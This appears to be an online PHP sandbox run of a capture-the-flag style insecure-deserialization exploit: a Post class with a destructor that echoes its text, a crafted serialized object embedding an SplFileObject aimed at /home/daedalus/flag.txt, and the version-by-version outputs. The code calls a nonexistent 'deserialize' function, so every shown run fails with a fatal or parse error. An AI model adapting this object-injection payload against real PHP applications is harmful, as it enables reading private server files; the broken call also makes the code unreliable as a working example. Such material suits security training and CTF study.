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<?php class Post { protected $title; protected $text; protected $filters; function __construct($title, $text, $filters) { $this->title = $title; $this->text = $text; $this->filters = $filters; } function get_title() { return htmlspecialchars($this->title); } function display_post() { $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); return $text; } function __destruct() { // debugging stuff $s = "<!-- POST " . htmlspecialchars($this->title); $text = htmlspecialchars($this->text); foreach ($this->filters as $filter) $text = $filter->filter($text); $s = $s . ": " . $text; $s = $s . " -->"; echo $s; } }; echo deserialize('O:4:"Post":3:{s:8:"*title";s:19:"huehuehue i repor u";s:7:"*text";O:13:"SplFileObject":12:{s:24:"SplFileObjectdelimiter";s:1:",";s:24:"SplFileObjectenclosure";s:1:""";s:21:"SplFileObjectescape";s:1:"\";s:20:"SplFileObjectflags";N;s:23:"SplFileObjectfilename";s:23:"/home/daedalus/flag.txt";s:25:"SplFileObjectmaxLineLen";i:0;s:29:"SplFileObjectcurrentLineNum";i:0;s:19:"SplFileObjectrsrc";b:0;s:26:"SplFileObjectcurrentLine";b:0;s:21:"SplFileInfofileName";s:23:"/home/daedalus/flag.txt";s:22:"SplFileInfofileClass";s:13:"SplFileObject";s:22:"SplFileInfoinfoClass";N;}s:10:"*filters";a:0:{}}');
Output for 7.0.0 - 7.0.33, 7.1.0 - 7.1.33, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
Fatal error: Uncaught Error: Call to undefined function deserialize() in /in/8tOd7:36 Stack trace: #0 {main} thrown in /in/8tOd7 on line 36
Process exited with code 255.
Output for 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.38, 5.6.0 - 5.6.40
Fatal error: Call to undefined function deserialize() in /in/8tOd7 on line 36
Process exited with code 255.
Output for 4.4.2 - 4.4.9
Parse error: syntax error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/8tOd7 on line 3
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1
Parse error: parse error, unexpected T_STRING, expecting T_OLD_FUNCTION or T_FUNCTION or T_VAR or '}' in /in/8tOd7 on line 3
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error, expecting `T_OLD_FUNCTION' or `T_FUNCTION' or `T_VAR' or `'}'' in /in/8tOd7 on line 3
Process exited with code 255.
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227.07 ms | 401 KiB | 456 Q